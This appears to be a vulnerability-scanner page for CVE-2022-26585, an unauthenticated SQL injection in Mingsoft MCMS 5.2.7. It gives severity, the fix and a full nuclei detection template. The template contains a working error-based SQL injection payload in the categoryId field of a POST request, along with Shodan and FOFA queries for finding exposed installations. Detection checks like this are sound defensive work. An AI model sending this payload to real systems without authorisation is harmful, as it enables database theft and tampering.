Mingsoft MCMS v5.2.7 - SQL Injection

criticalseverity

9.8CVSS score

5.5%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Mingsoft MCMS v5.2.7 contains an SQL injection vulnerability via /cms/content/list that allows unauthenticated attackers to execute arbitrary SQL commands on the affected database server.

Impact

Unauthenticated attackers can execute arbitrary SQL commands through the categoryId parameter in /cms/content/list, potentially extracting sensitive database information, modifying data, or compromising the entire Mingsoft MCMS database.

Fix

Upgrade Mingsoft MCMS to version 5.2.8 or later, which contains patches for this vulnerability.

How to confirm it

Send: POST /cms/content/list
Positive when: contains "c8c605999f3d8352d7bb792cf" AND status 200 or 500

Run it with nuclei: nuclei -id CVE-2022-26585 -u <target>

The full check

id: CVE-2022-26585

info:
  name: Mingsoft MCMS v5.2.7 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Mingsoft MCMS v5.2.7 contains an SQL injection vulnerability via /cms/content/list that allows unauthenticated attackers to execute arbitrary SQL commands on the affected database server.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands through the categoryId parameter in /cms/content/list, potentially extracting sensitive database information, modifying data, or compromising the entire Mingsoft MCMS database.
  remediation: |
    Upgrade Mingsoft MCMS to version 5.2.8 or later, which contains patches for this vulnerability.
  reference:
    - https://gitee.com/mingSoft/MCMS/issues/I4W1S9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26585
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26585
    cwe-id: CWE-89
    epss-score: 0.05475
    epss-percentile: 0.92823
    cpe: cpe:2.3:a:mingsoft:mcms:5.2.7:*:*:*:*:*:*:*
  metadata:
    vendor: mingsoft
    product: mcms
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:1464851260
    fofa-query: icon_hash="1464851260"
  tags: cve,cve2022,mingsoft,mcms,sqli,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /cms/content/list HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        categoryId=2' AND GTID_SUBSET(CONCAT(0x716a717871,md5({{num}}),0x716a627a71),3762) AND 'EIVI'='EIVI

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'c8c605999f3d8352d7bb792cf'

      - type: status
        status:
          - 200
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from